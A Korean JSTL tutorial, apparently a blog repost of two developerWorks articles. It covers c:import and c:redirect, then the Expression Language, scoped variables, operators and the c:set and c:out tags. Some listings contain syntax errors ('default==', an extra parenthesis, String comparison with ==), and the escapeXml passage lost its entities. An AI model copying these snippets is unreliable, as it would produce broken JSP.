    <c:import> 액션은 FTP 프로토콜을 통해 액세스 되는 문서의 콘텐트를 포함하는데 사용된다. <c:catch> 액션은 FTP 파일 전송 동안 발생하는 모든 에러를 처리하기 위해 사용된다. <c:catch>var 변수를 사용하여 예외용 범위 변수를 지정하고 <c:if>를 사용하여 값을 검사하면 된다. 예외가 발생하면 범위 변수로의 할당이 발생한다.


    Listing 18. <c:import>와 <c:catch>의 결합 예제
    <c:catch var="exception">
      <c:import url="ftp://ftp.example.com/package/README"/>
    </c:catch>
    <c:if test="${not empty exception}">
      Sorry, the remote content is not currently available.
    </c:if>
    		

    <c:import> 액션의 마지막 두 개의 애트리뷰트는 varscope이다. var 애트리뷰트는 지정된 유알엘에서 가져온 콘텐트가 현재의 JSP 페이지에 포함되도록 하는 것이 아니라 변수에 저장되도록 한다. scope 애트리뷰트는 이 변수의 범위 지정을 제어하고 페이지 범위를 초기화한다.




    위로


    요청 리다이렉션(redirection)

    마지막 core 라이브러리 태그는 <c:redirect>이다. 이 액션은 HTTP 리다이렉트 응답을 사용자 브라우저로 보내는데 사용되며, JSTL의 javax.servlet.http.HttpServletResponsesendRedirect() 메소드와 같다. 이 태그의 urlcontext 애트리뷰트 (Listing 19) 작동은 <c:import>urlcontext 애트리뷰트와 같다.


    Listing 19. <c:redirect>action
    <c:redirect url="expression" context="expression">
      <c:param name="expression" value="expression"/>
      ...
    </c:redirect>
    
    		

    Listing 20은 <c:redirect> 작동 모습이다. Listing 18의 에러 메시지를 지정된 에러 페이지 리다이렉트로 대체한다. 이 예제에서 <c:redirect> 태그는 표준 <jsp:forward> 작동과 비슷한 방식으로 사용된다. 요청 디스패쳐를 통한 포워딩은 서버쪽에서 구현되지만 리다이렉트는 브라우저에서 수행된다. 개발자의 관점에서 보면 포워딩은 리다이렉팅보다 효율적이다. 하지만 <c:redirect> 액션이 좀더 유연하다. <jsp:forward>는 현재 서블릿 콘텍스트 내에서 다른 JSP 페이지로만 디스패치 할 수 있기 때문이다.


    Listing 20. 예외에 대한 응답으로 리다이렉팅
    <c:catch var="exception">
      <c:import url="ftp://ftp.example.com/package/README"/>
    </c:catch>
    <c:if test="${not empty exception}">
      <c:redirect url="/errors/remote.jsp"/>
    </c:if>
    
    		

    소셜 북마크

    mar.gar.in mar.gar.in
    digg Digg
    del.icio.us del.icio.us
    Slashdot Slashdot

    사용자 관점과의 주요 차이점은 리다이렉트가 브라우저로 디스플레이된 URL을 업데이트하고 북마크 설정에 영향을 미친다는 것이다. 반면 포워딩은 엔드유저에게 투명하다. <c:redirect><jsp:forward> 중의 선택은 사용자 경험에 따라 달라진다.



    참고자료



    필자소개

    Mark Kolb는소프트웨어 엔지니어이며 Web Development with JavaServer Pages, 2nd Edition의 공동 저자이다.

    Posted by 1010
    05.JSP2008. 7. 25. 16:22
    반응형

    JSTL 기초, Part 1: Expression Language (한글)

    JSP 애플리케이션용 MA 단순화하기

    developerWorks
    문서 옵션
    이 페이지를 이메일로 보내기

    이 페이지를 이메일로 보내기

    
    제안 및 의견
    피드백

    난이도 : 초급

    Mark A. Kolb, 소프트웨어 엔지니어

    2003 년 2 월 11 일
    2003 년 11 월 18 일 수정

    JSP Standard Tag Library (JSTL)은 일반적인 웹 애플리케이션 기능(반복(iteration)과 조건, 데이터 관리 포맷, XML 조작, 데이터베이스 액세스)을 구현하는 커스텀 태그 라이브러리 모음이다. 소프트웨어 엔지니어인 Mark Kolb은 JSTL 태그의 사용방법을 설명한다. 표현층(presentation layer)에서 소스 코드를 제거하여 소프트웨어 관리를 단순화시키는 방법도 설명한다. 이외에도 JSTL의 단순화된 Expression Language에 대한 설명도 포함되어 있다.

    JavaServer Pages (JSP)는 J2EE 플랫폼을 위한 표준 표현 레이어(presentation-layer) 이다. JSP는 페이지 콘텐트를 동적으로 생성할 수 있는 전산을 수행 할 수 있는 스크립팅 엘리먼트와 액션을 제공한다. 스크립팅 엘리먼트는 프로그램 소스 코드가 JSP 코드에 포함될 수 있도록 한다. 페이지가 사용자 요청에 대한 응답으로 렌더링 될 때 실행할 목적이다. 액션(actions)은 전산 작동을 JSP 페이지의 템플릿 텍스트를 구성하고 있는 HTML 이나 XML과 거의 흡사하게하는 태그로 인캡슐한다. JSP 스팩에 표준으로 정의된 몇 가지의 액션들이 있다. 하지만 JSP 1.1 부터 개발자들은 커스텀 태그 라이브러리 형태로 자신만의 액션들을 만들 수 있다.

    JSP Standard Tag Library (JSTL)는 JSP 1.2 커스텀 태그 라이브러리 모음으로서 광범위한 서버측 자바 애플리케이션에 일반적으로 쓰이는 기본 기능들을 구현한다. JSTL은 데이터 포맷, 반복 콘텐트 또는 조건 콘텐트 같은 전형적인 표현 레이어를 위한 표준 구현을 제공하기 때문에, JSP 작성자들이 애플리케이션 개발에 집중하는데 도움이 된다.

    물론, 스크립틀릿, 익스프레션, 선언 같은 JSP 스크립팅 엘리먼트를 사용하는 태스크를 구현할 수 있다. 예를 들어 조건 콘텐트(conditional content)는 세 개의 스크립틀릿(Listing 1의 하이라이트 부분)을 사용하여 구현될 수 있다. 페이지 내에 프로그램 소스 코드를 임베딩하는 것에 의존하기 때문에 스크립팅 엘리먼트가 소프트웨어 관리 태스크를 매우 복잡하게 하는 경향이있더라도 JSP 페이지는 그들을 사용한다. Listing 1의 스크립틀릿 예제는 브레이스들의 적절한 매칭에 매우 의존한다. 조건화된 콘텐트 내에 추가 스크립틀릿을 중첩하는 것은 신택스 에러가 갑자기 일어났다면 페이지가 JSP 콘테이너에 의해 컴파일 될 때 결과 에러 메시지를 합리화하는 것은 도전이 될 수 있다.


    Listing 1. 스크립틀릿을 통해 조건 콘텐트 구현하기
      <% if (user.getRole() == "member")) { %>
        <p>Welcome, member!</p>
    <% } else { %>
        <p>Welcome, guest!</p>
    <% } %>
    

    그와 같은 프로그램을 해결하는데에는 프로그래밍 경험이 많이 필요하다. JSP 페이지의 마크업이 페이지 레이아웃과 그래픽 디자인에 익숙한 디자이너에 의해 개발 및 관리되는데 반해 그와 같은 페이지 내의 스크립팅 엘리먼트는 문제가 생길 때 프로그래머가 개입해야한다. 하나의 파일안에 있는 코드에 대한 책임을 공유하는 것은 JSP 페이지의 개발, 디버깅, 향상을 성가신일로 만든다. JSTL은 일반적인 기능을 커스텀 태그 라이브러리의 표준 세트로 패키징했기 때문에 JSP 작성자들이 스크립팅 엘리먼트에 대한 필요를 줄이고 관련된 관리 비용을 피할 수 있도록 한다.

    이 기사의 다른 시리즈

    Part 2, "core 분석" (2003년 3월)
    Part 3, "보여지는 것도 중요하다!" (2007년 3월)
    Part 4, "SQL과 XML 콘텐트에 액세스 하기" (2007년 4월)




    위로


    JSTL 1.0

    02년 6월에 릴리스된 JSTL 1.0은 네 개의 커스텀 태그 라이브러리(core, format, xml, sql)와 두 개의 범용 태그 라이브러리 밸리데이터(ScriptFreeTLV & PermittedTaglibsTLV)로 구성되어 있다. core 태그 라이브러리는 커스텀 액션을 제공하여 범위 변수를 통해 데이터를 관리할 수 있도록하며 페이지 콘텐트의 반복과 조건화를 수행할 수 있도록 한다. 또한 URL에서 생성 및 작동할 수 있는 태그도 제공한다. format 태그 라이브러리는 이름이 시사하는 바와 같이 데이터 특히 숫자와 날짜를 포맷하는 액션을 정의한다. 국지화 된 리소스 번들을 사용하여 JSP 페이지의 국제화도 지원한다. xml 라이브러리에는 XML을 통해 표현된 데이터를 조작할 수 있는 테그가 포함되어 있다. sql 라이브러리는 관계형 데이터베이스를 쿼리하는 액션을 정의한다.

    두 개의 JSTL 태그 라이브러리 밸리데이터는 개발자들이 JSP 애플리케이션 내에서 표준을 코딩하도록 한다. ScriptFreeTLV 밸리데이터를 설정하여 JSP 페이지 내에 있는 다양한 스크립팅 엘리먼트(스크립틀릿, 표현, 선언)의 다양한 유형을 사용하는 것을 막는다. 이와 비슷하게 PermittedTaglibsTLV 밸리데이터는 애플리케이션의 JSP 페이지들에 의해 액세스된 커스텀 태그 라이브러리(JSTL 태그 라이브러리 포함)을 제한한다.

    JSTL은 J2EE 플랫폼에 필요한 컴포넌트가 될 것이지만 적은 수의 애플리케이션 서버들만이 이를 포함하고 있는 것이 현실이다. JSTL 1.0의 레퍼런스 구현은 Apache Software Foundation의 Jakarta Taglibs 프로젝트의 일부로서 사용할 수 있다. (참고자료). 레퍼런스 구현에 있는 커스텀 태그 라이브러리는 JSTL 지원을 추가하기 위해 JSP 1.2와 Servlet 2.3 이상 스팩을 지원하는 모든 애플리케이션 서버에 통합될 수 있다.




    위로


    Expression language

    JSP 1.2에서 JSP 액션의 애트리뷰트는 정적 캐릭터 스트링이나 익스프레션을 사용하여 지정된다. 예를 들어 Listing 2의 경우 정적 값들은 <jsp:setProperty> 액션의 nameproperty 애트리뷰트를 위해 지정된다. 반면 익스프레션은 이것의 값 애트리뷰트를 지정하는데 사용된다. 이 액션은 요청 매개변수의 현재 값을 이름이 붙여진 빈 속성으로 할당하는 효과를 갖고 있다. 이러한 방식으로 사용된 익스프레션은 request-time attribute values이라 일컬어지며 애트리뷰트 값을 동적으로 지정하기위한 JSP 스팩에 내장된 유일한 메커니즘이다.


    Listing 2. request-time attribute value을 결합하는 JSP 액션
    <jsp:setProperty name="user" property="timezonePref"
              value='<%= request.getParameter("timezone") %>'/>
    
    

    request-time attribute values가 익스프레션을 사용하여 지정되기 때문에 다른 스크립팅 엘리먼트와 같은 소프트웨어 관리 문제가 일어날 수 있다. 이런 이유로 인해 JSTL 커스텀 태그는 동적 애트리뷰트 값을 지정하기 위한 대안 메커니즘을 지원한다. JSP 익스프레션을 사용하는 것 보다 JSTL 액션용 애트리뷰트 값이 단순화 된 expression language (EL)를 사용하여 지정될 수 있다. EL은 JSP 컨테이너에 있는 데이터를 검색 및 조작할 식별자, 접근자, 연산자를 제공한다. EL은 EcmaScript(참고자료)와 XML Path Language (XPath)에 약간 의존하기 때문에 신택스는 페이지 디자이너와 프로그래머 모두 에게 익숙하다. EL은 객체와 속성들을 검색하면서 간단한 작동을 수행한다. 이것은 프로그래밍 언어도 스크립팅 언어도 아니다. JSTL 태그와 결합하면 간단하고 편리한 표기를 사용하여 복잡한 작동이 표현될 수 있다. EL 익스프레션은 달러 표시($)와 중괄호 ({})를 앞에 붙여 사용하여 범위를 정한다.(Listing 3)


    Listing 3. JSTL 액션: EL 익스프레션 범위 지정
    <c:out value="${user.firstName}"/>
    
    

    여러개의 익스프레션들과 정적 텍스트를 결합하여 스트링 연결을 통해 동적 애트리뷰트 값을 만들 수 있다.(Listing 4). 개별 익스프레션들은 식별자, 접근자, 리터럴, 연산자로 구성되어 있다. 식별자는 데이터 센터에 저장된 데이터 객체를 참조하는데 사용된다. EL은 11 개의 식별자를 보유하고 있다. 11 개의 EL 내장 객체에 상응하는 것들이다. 다른 모든 식별자들은 범위 변수를 참조하는 것으로 간주된다. 접근자는 객체의 속성 또는 컬렉션의 엘리먼트를 검색하는데 사용된다. 리터럴은 고정된 값들(숫자, 문자, 스트링, 부울, null)을 나타낸다. 연산자는 데이터와 리터럴이 결합 및 비교될 수 있도록 한다.


    Listing 4. 정적 텍스트와 여러 EL 익스프레션을 결합하여 동적 애트리뷰트 값 지정하기
    <c:out value="Hello ${user.firstName} ${user.lastName}"/>
    
    




    위로


    범위 변수(Scoped variables)

    <jsp:useBean> 액션을 통한 JSP 에이피아이는 데이터가 저장될 수 있도록 하며 JSP 컨테이너 내에 네 개의 다른 범위에서 데이터가 검색될 수 있도록 한다. JSTL은 이러한 범위 내에 객체를 할당하고 제거할 추가 액션을 제공한다. 더욱이, EL은 범위 변수 같은 객체들을 검색하는 빌트인 지원을 제공한다. 특히 EL의 내장 객체 중 하나라도 상응하지 않는 EL 익스프레션에 있는 식별자는 네 개의 JSP 스콥 중 하나에 저장된 객체를 참조하는 것으로 자동 간주된다:

    • 페이지 범위
    • 요청 범위
    • 세션 범위
    • 애플리케이션 범위

    페이지 범위에 저장된 객체들은 특정 요청에 대한 페이지가 프로세스 되는 동안 검색될 수 있다. 요청 범위 내에 저장된 객체들은 요청 프로세스에 참여한 모든 페이지들이 프로세스 하는 동안 검색될 수 있다. 객체가 세션 범위에 저장되어있다면 웹 애플리케이션과의 단일 인터랙트브 세션 동안 사용자가 액세스 한 페이지로 검색될 수 있다. 웹 애플리케이션이 언로드(unload) 될 때 까지 애플리케이션 범위에 저장된 객체는 모든 페이지에서 접근가능하며 모든 사용자들이 접근할 수 있다.

    캐릭터 스트링을 희망하는 범위에 있는 객체로 매핑하여 범위안에 객체를 저장할 수 있다. 이러한 경우에는 같은 캐릭터 스트링을 제공하여 범위에서 객체를 검색할 수도 있다. 스트링은 범위 매핑 중 검색되고 매핑된 객체는 리턴된다. Servlet API 내에서 그와 같은 객체들은 상응하는 범위의 애트리뷰트로서 언급된다. EL의 경우 애트리뷰트와 관련된 캐릭터 스트링은 변수 이름으로 간주될 수도 있다.

    EL에서 내장 객체들과 관련이 없는 식별자들은 JSP 범위에 저장된 객체들을 명명하는 것으로 간주된다. 그와 같은 식별자는 페이지 범위를 검사하고 그 다음에는 요청 범위, 세션 범위, 애플리케이션 범위 순으로 검사한다. 식별자의 이름이 그 범위에 저장된 객체 이름과 매칭되는지의 여부가 테스트된다. 첫 번째 매치는 EL 식별자의 값으로 리턴된다. EL 식별자는 범위 변수를 참조하는 것으로 간주될 수 있다.

    기술적인 관점에서 보면 내장 객체로 매핑하지 않는 식별자는 PageContext 인스턴스의 findAttribute() 메소드를 사용하여 평가되면서 현재 핸들되는 요청에 대해 익스프레션이 발생하는 페이지의 프로세싱을 나타낸다. 식별자의 이름은 이 메소드에 대한 인자로서 전달된다. 이것은 같은 이름을 가진 애트리뷰트에 대한 네 개의 범위를 검색한다. 발견된 첫 번째 매치는 findAttribute() 메소드 값으로 리턴된다. 그와 같은 애트리뷰트가 네 개의 범위 중에 없으면 null이 리턴된다.

    궁극적으로 범위 변수는 네 개의 EL 식별자로서 사용될 수 있는 이름을 가진 JSP 범위의 에트리뷰트라고 할 수 있다. 영숫자 이름으로 할당되는 한 범위 변수는 JSP 에 존재하는 모든 메커니즘으로 만들어져 애트리뷰트를 설정할 수 있다. 여기에는 빌트인 <jsp:useBean> 액션은 물론 setAttribute() 메소드가 포함된다. 게다가 네 개의 JSTL 라이브러리에서 정의된 많은 커스텀 태그들은 스스로 범위 변수로서 애트리뷰트 값을 설정할 수 있다.




    위로


    내장 객체(Implicit objects)

    11 개의 EL 내장 객체용 식별자는 표 1과 같다. JSP 내장 객체와 혼동하지 말것!

    표 1. EL 내장 객체

    Category 식별자 설명
    JSP pageContext 현재 페이지의 프로세싱과 상응하는 PageContext 인스턴스
    범위 pageScope 페이지 범위 애트리뷰트 이름과 값과 관련된 Map
    requestScope 요청 범위 애트리뷰트 이름과 값과 관련된 Map
    sessionScope 세션 범위 애트리뷰트 이름과 값과 관련된 Map
    applicationScope 애플리케이션 범위 애트리뷰트 이름과 값과 관련된 Map
    요청 매개변수 param 요청 매개변수의 기본 값을 이름으로 저장하는 Map
    paramValues 요청 매개변수의 모든 값을 String 어레이로서 저장하는 Map
    요청 헤더 header 요청 헤더의 기본 값을 이름으로 저장하는 Map
    headerValues 요청 헤더의 모든 값을 String 어레이로서 저장하는 Map
    쿠키 cookie 요청에 수반되는 쿠키들을 이름으로 저장하는 Map
    초기화 매개변수 initParam 웹 애플리케이션의 콘텍스트 초기화 매개변수를 이릉으로 저장하는 Map

    JSP와 EL 내장 객체가 일반적인 하나의 객체를 갖는 반면(pageContext) 다른 JSP 내장 객체는 EL에서 접근 가능하다. 페이지콘텍스트가 다른 8 개의 JSP 내장 객체 모두에 액세스 할 수 있는 속성을 갖고 있기 때문이다.

    남아있는 모든 EL 내장 객체들은 맵(map)이다. 이름에 상응하는 객체들을 탐색한다. 첫 번째 네 개의 맵은 이전에 언급한 다양한 애트리뷰트 범위를 나타낸다. 특정 범위 내의 식별자들을 검색하는데 사용될 수 있다. EL이 기본적으로 사용하는 순차적인 탐색 프로세스에 의존하지 않는다.

    다음 네 개의 맵은 요청 매개변수와 헤더의 값을 반입하는 용도이다. HPPT 프로토콜이 요청 매개변수와 헤더가 다중 값을 가질 수 있도록 하기 때문에 각각 한 쌍의 맵이 있다. 각 쌍 중에서 첫 번째 맵은 요청 매개변수 또는 헤더에 대한 기본 값을 리턴한다. 실제 요청 시 첫 번째로 지정된 값이 무엇이든 상관없다. 두 번째 맵은 매개변수나 헤더의 값 모두 검색될 수 있도록 한다. 이 맵의 핵심은 매개변수 또는 헤더의 이름이다. 값들은 String 객체의 어레이이다.

    쿠키 내장 객체는 요청으로 설정된 쿠키에 대한 접근을 제공한다. 이 객체는 요청과 관련된 모든 쿠키들의 이름을 Cookie 객체들로 매핑하면서 쿠키들의 속성을 나타낸다.

    마지막 EL 내장 객체인 initParam은 웹 애플리케이션과 관련된 모든 콘텍스트 초기와 매개변수의 이름과 값을 저장하는 맵이다. 초기화 매개변수들은애플리케이션의 WEB-INF 디렉토리에 있는 web.xml 전개 디스크립터 파일을 통해 정의된다.




    위로


    접근자(Accessors)

    EL 식별자는 내장 객체 또는 범위 변수로서 설명될 수 있기 때문에 자바 객체로 평가해야한다. EL은 상응하는 자바 클래스에서 프리머티브를 래핑/언래핑한다. 하지만 대부분의 경우 식별자들은 자바 객체에 대한 포인터가 된다.

    결과적으로 이러한 객체들의 속성이나, 어레이와 컬렉션의 경우 그들의 엘리먼트에 액세스하는 것이 바람직하다. 이를 위해 EL은 두 개의 다른 접근자를 제공한다. 닷(dot) 오퍼레이터(.)와 브래킷 오퍼레이터([])이다. 이들은 속성과 엘리먼트들이 EL을 통해 연산될 수 있도록 한다.

    닷 연산자는 객체의 프로퍼티에 접근하는데 사용된다. ${user.firstName} 익스프레션에서 닷 연산자는 user 식별자에 의해 참조된 객체 중 firstName이라는 이름을 가진 속성에 액세스 한다. EL은 자바 빈 규정을 사용하여 객체 속성에 접근하기 때문에 이 속성에 대한 게터(일반적으로 getFirstName())는 이 익스프레션이 정확히 계산하기 위해서 반드시 정의되어야 한다. 액세스되는 속성이 객체일 때 닷 연산자는 재귀적으로 적용될 수 있다. 예를 들어 가상의 user 객체가 자바 객체로서 구현된 address 속성을 갖고 있다면 닷 연산자는 이 객체의 속성에 액세스 하기 위해 사용될 수도 있다. ${user.address.city} 익스프레션은 이 address 객체 중 중첩된 city 속성을 리턴한다.

    브래킷 연산자는 어레이와 컬렉션의 엘리먼트를 검색하는데 사용된다. 어레이와 컬렉션(java.util.List를 구현하는 컬렉션)의 경우 검색될 엘리먼트 인덱스는 브래킷 안에 나타난다. 예를 들어 ${urls[3]} 익스프레션은 이 urls 식별자에 의해 참조된 어레이 또는 컬렉션의 네 번째 엘리먼트를 리턴한다.

    java.util.Map 인터페이스를 구현하는 컬렉션의 경우 브래킷 연산자는 관련 키를 사용하여 맵에 저장된 값을 찾는다. 이 키는 브래킷 내에서 지정되고 상응하는 값은 익스프레션 값으로 리턴된다. 예를 들어 ${commands["dir"]} 익스프레션은 commands 식별자에 의해 참조된 Map"dir" 키와 관련된 값을 리턴한다.

    익스프레션이 브래킷안에 나타날 수 있다. 중첩된 익스프레션의 계산 결과는 컬렉션이나 어레이의 적절한 엘리먼트를 검색하는 인덱스 또는 키로 작용한다. 닷 연산자가 true라면, 브래킷 연산자도 재귀적으로 적용될 수 있다. 이는 EL이 다차원 어레이, 중첩 컬렉션, 또는 둘의 결합에서 엘리먼트를 검색 할 수 있도록 한다. 더욱이 닷 연산자와 브래킷 연산자는 상호운용성이 있다. 예를들어 한 어레이의 엘리먼트가 객체라면 브래킷 연산자는 그 어레이의 엘리먼트를 검색하는데 사용될 수 있고 닷 연산자와 결합하여 엘리먼트 속성 중 하나를 검색할 수 있다. (예를 들어 ${urls[3].protocol}).

    EL이 동적 애트리뷰트 값을 정의하는 간한한 언어로서 작용한다고 볼 때, 자바 접근자와는 다른 EL 접근자의 재미있는 특성 중 하나는 null에 적용될 때 예외를 던지지 않는다는 점이다. EL 접근자가 적용되는 객체(예를 들어 ${foo.bar}${foo["bar"]}foo 식별자)가 null이면 접근자 적용 결과 역시 null이다. 이는 대부분의 경우, 도움이 되는 일이다.

    마지막으로 닷 연산자와 브래킷 연산자는 상호 교환될 수 있다. 예를 들어 ${user["firstName"]}user 객체의 firstName 속성을 검색하는데 사용될 수 있다. ${commands.dir}commands 맵에서 "dir" 키와 관련된 값을 반입하는데 사용될 수 있는것과 같은 이치이다.




    위로


    연산자(Operators)

    식별자와 접근자를 사용하여 EL은 애플리케이션 데이터(범위 변수를 통해 노출) 또는 환경 관련 정보(EL 내장 객체를 통해 노출)를 포함하고 있는 객체 계층을 트래버스 할 수 있다. 그와 같은 데이터에 간단히 접근하는 것은 많은 JSP 애플리케이션에 필요한 표현 로직을 구현하는데 종종 부적합하다.

    EL에는 EL 익스프레션으로 접근된 데이터를 조작 및 비교할 여러 연산자를 포함하고 있다. 이러한 연산자들을 표 2에 요약했다.

    표 2. EL 연산자

    Category 연산자
    산술 +, -, *, / (or div), % (or mod)
    관계형 == (or eq), != (or ne), < (or lt), > (or gt), <= (or le), >= (or ge)
    논리 && (or and), || (or or), ! (or not)
    타당성검사 empty

    산술 연산자는 더하기, 빼기, 나누기를 지원한다. 다른 연산자들도 제공된다. 나누기와 나머지 연산자들은 비 상징 이름들이라는 대안을 갖고 있다. 산술 연산자의 사용법을 설명하는 예제 익스프레션은 Listing 5에 설명되어 있다. 산술 연산자를 한 쌍의 EL 익스프레션에 적용한 결과는 그러한 익스프레션에 의해 리턴된 숫자 값에 대한 연산자에 적용한 결과이다.


    Listing 5. 산술 연산자를 사용하는 EL 익스프레션
    ${item.price * (1 + taxRate[user.address.zipcode])}
    

    관계형 연산자는 숫자 또는 텍스트 데이터를 비교할 수 있도록 한다. 비교 결과는 부울 값으로서 리턴된다. 논리적 연산자는 부울 값이 결합될 수 있도록 하며 새로운 부울 값을 리턴한다. EL 논리적 연산자는 중첩된 관계형 연산자 또는 논리적 연산자의 결과에 적용될 수 있다. (Listing 6).


    Listing 6. 관계형 연산자 및 논리적 연산자를 사용하는 EL 익스프레션
    ${(x >= min) && (x <= max)}
    

    EL 연산자는 empty 이다. 데이터의 타당성 검사에 특히 유용하다. empty 연산자는 하나의 익스프레션을 인자로 취한다.(${empty input}). 그리고 익스프레션이 empty 값으로 계산했는지의 여부를 나타내는 부울 값을 리턴한다. null로 계산한 익스프레션은 empty로 간주된다. 어떤 엘리먼트도 없는 컬렉션이나 어레이와 같다. empty 연산자는 인자가 길이가 0인 String으로 계산했다면 true로 리턴한다.

    EL 연산자의 우선순위는 표 3에 정리되어 있다. Listing 5와 6에 제안된 것 처럼 괄호는 그룹 익스프레션에 사용되고 일반적인 우선순위를 따른다.

    표 3. EL 연산자 우선순위 (위->아래, 왼쪽->오른쪽)

    [], .
    ()
    unary -, not, !, empty
    *, /, div, %, mod
    +, binary -
    () <, >, <=, >=, lt, gt, le, ge
    ==, !=, eq, ne
    &&, and
    ||, or




    위로


    리터럴(Literals)

    숫자, 캐릭터 스트링, 부울, null은 EL 익스프레션에서 리터럴 값으로 지정될 수 있다. 캐릭터 스트링은 싱글 쿼트 또는 더블 쿼트로 범위가 지정된다. 부울 값은 truefalse로 계산된다.




    위로


    Taglib 지시문

    앞서 언급했지만 JSTL 1.0에는 네 개의 커스텀 태그 라이브러리가 포함되어 있다. 익스프레션 언어로 JSTL 태그의 인터랙션을 설명하기 위해 JSTL core 라이브러리에서 여러 태그들을 검토할 것이다. 모든 JSP 커스텀 태그 라이브러리로 true가 된다면 taglib 지시문은 이 라이브러리 태그를 사용할 수 있는 페이지에 포함되어야한다. 이 특정 라이브러리에 대한 지시문은 Listing 7에 나타나있다.


    Listing 7. JSTL core 라이브러리의 EL 버전용 테그립 지시문
    <%@ taglib uri="http://java.sun.com/jstl/core" prefix="c" %>
    

    실제로 JSTL core 라이브러리에 상응하는 두 개의 Taglib 지시문이 있다. JSTL텐에서 EL은 옵션이기 때문이다. JSTL 1.0 의 네 개의 커스텀 태그 라이브러리들은 동적 애트리뷰트 값을 지정할 때 EL 대신 JSP 익스프레션을 사용하는 대안 버전을 갖고있다. 이러한 대안 라이브러리는 JSP의 전통적인 요청시간 애트리뷰트 값에 의존하기 때문에 RT 라이브러리로 일컬어진다. 반면 익스프레션 언어를 사용하는 것은 EL 라이브러리라고 한다. 개발자들은 대안 Taglib 지시문을 사용하는 각각의 라이브러리의 버전들을 구별한다. RT 버전의 코어 라이브러리를 사용하기 위한 지시문은 Listing 8에 나와있다. 하지만 지금은 EL에 집중해야 하기 때문에 지금 필요한 것은 이 지시문들 중 첫 번째 것이다.


    Listing 8. RT 버전의 JSTL core 라이브러리용 태그립 지시문
    <%@ taglib uri="http://java.sun.com/jstl/core_rt" prefix="c_rt" %>
    




    위로


    변수 태그

    첫 번째 JSTL 커스텀 태그는 <c:set> 액션이다. 이미 언급했듯이 범위 변수는 JSTL에서 핵심적인 역할을 하고 <c:set> 액션은 태그 기반의 매커니즘을 제공하여 범위 변수의 생성 및 설정에 쓰인다. 이 액션의 신택스는 Listing 9와 같다. var 애트리뷰트는 범위 변수 이름을 정하고 scope 애트리뷰트는 변수가 머물게 될 범위를 나타내고, value 애트리뷰트는 변수가 될 값을 지정한다. 지정된 변수가 이미 존재하면 지시된 값으로 할당된다. 그렇지 않다면 새로운 범위 변수가 만들어지고 그 값으로 초기화된다.


    Listing 9. <c:set> 액션 신택스
    <c:set var="name" scope="scope" value="expression"/>
    
    

    scope 애트리뷰트는 선택적이며 page로 기본 설정되어 있다.

    <c:set>의 두 예제는 Lisitng 10에 설명되어 있다. 첫 번째 예제에서 세션 범위 변수는 String 값으로 설정된다. 두 번째에서는 익스프레션은 숫자 값을 설정하는데 사용된다. square라는 페이지 범위 변수는 x 라는 요청 매개변수 값을 배가시킨 결과로 할당된다.


    Listing 10. <c:set> 액션 예제
    <c:set var="timezone" scope="session" value="CST"/>
    <c:set var="square" value="${param['x'] * param['x']}"/>
    
    
    

    애트리뷰트를 사용하는 대신 범위 변수용 값을 <c:set> 액션의 바디 콘텐트로 설정할 수 있다. 이러한 접근방식을 사용하여 Listing 10의 첫 번째 예제를 Listing 11과 같이 재작성할 수 있다. 더욱이 <c:set> 태그의 바디 콘텐트가 커스텀 태그를 적용하는 것도 가능하다. <c:set>의 바디 안에서 만들어진 모든 콘텐트는 String 값 같이 지정된 변수에 할당된다..


    Listing 11. 바디 콘텐트를 통해 <c:set> 액션용 값 지정하기
    <c:set var="timezone" scope="session">CST</c:set>
    

    JSTL core 라이브러리에는 범위 변수를 관리하는 두 번째 태그(<c:remove>)가 포함되어 있다. 이름에서 시사되는 바와 같이 <c:remove> 액션은 범위 변수를 지우는데 사용되고 두 개의 애트리뷰트를 취한다. var 애트리뷰트는 제거될 변수를 명명하고 선택적인 scope 애트리뷰트는 제거되어야 할 범위를 나타낸다. (Listing 12).


    Listing 12. <c:remove> 액션 예제
    <c:remove var="timezone" scope="session"/>
    




    위로


    아웃풋

    <c:set> 액션은 익스프레션의 결과가 범위 변수로 할당될 수 있도록 하는 반면 개발자들은 익스프레션 값을 저장하는 대신 간단히 디스플레이하기를 원한다. 이는 JSTL의 <c:out> 커스텀 태그의 몫이다. (Listing 13). 이 태그는 value 애트리뷰트에서 지정된 익스프레션을 계산한다. 그런다음 결과를 프린트한다. 선택적 default 애트리뷰트가 지정되면 value 애트리뷰트의 익스프레션이 null 또는 비어있는 String으로 계산될 때 <c:out> 액션은 값을 프린트한다.


    Listing 13. <c:out> 액션 신택스
    <c:out value="expression" default="expression" escapeXml="boolean"/>
    

    escapeXml 애트리뷰트 또한 선택사항이다. "<", ">", "&" 같은 캐릭터가 <c:out> 태그에 의해 아웃풋 될 때 종료되는지의 여부를 제어한다. escapeXml이 true로 설정되어 있다면 이 캐릭터들은 상응하는 XML 인터티(<, >, &)로 바뀐다.

    예를 들어, user라는 세션 범위 변수가 있다고 가정해보자. 이것은 사용자에 대한 usernamecompany라는 두 개의 속성들을 정의하는 클래스의 인스턴스이다. 이 객체는 사용자가 사이트에 접근할 때마다 세션에 할당된다. 하지만 이 두 개의 속성들은 사용자가 실제로 로그인하기 전까지 설정되지 않는다. (Listing 14). 일단 사용자가 로그인하면 "Hello"가 디스플레이 되고 뒤따라서 사용자 이름과 감탄부호가 나온다. 사용자가 로그인하기 전에 여기에서 생긴 콘텐트는 "Hello Guest!" 라는 구(phrase)가 된다. 이 경우 username 속성이 초기화되지 않았기 때문에 <c:out> 태그는 default 애트리뷰트 값을 프린트한다.


    Listing 14. <c:out> 액션 예제 (디폴트 콘텐트)
    Hello <c:out value="${user.username}" default=="Guest"/>!
    
    

    <c:out> 태그의 escapeXml 애트리뷰트를 사용하는 Listing 15를 보자. company 속성이 자바 String 값인 "Flynn & Sons"으로 설정되었다면 이 액션에서 생긴 콘텐트는 Flynn & Sons이 된다. 이 액션이 HTML 또는 XML 콘텐트를 만드는 JSP 페이지의 일부라면 이 캐릭터의 스트링 중간에 있는 앰퍼샌트 부호는 HTML 또는 XML이 문자를 제어하고 이 콘텐트의 렌더링 또는 파싱을 방해하는것으로 해석하고 끝난다. escapeXml 애트리뷰트의 값이 true로 설정되면 생성된 콘텐트는 Flynn & Sons이 된다. 이 콘텐트를 만나는 브라우저 또는 파서는 인터프리테이션에 아무 문제가 없다. HTML과 XML이 JSP 애플리케이션에서 가장 일반적인 콘텐트 유형이라면 escapeXml 애트리뷰트의 디폴트 값이 true라는 것은 놀라운 일이 아니다.


    Listing 15. <c:out> 액션 예제)
    <c:out value="${user.company}" escapeXml=="false"/>
    
    




    위로


    디폴트 값으로 변수 설정하기

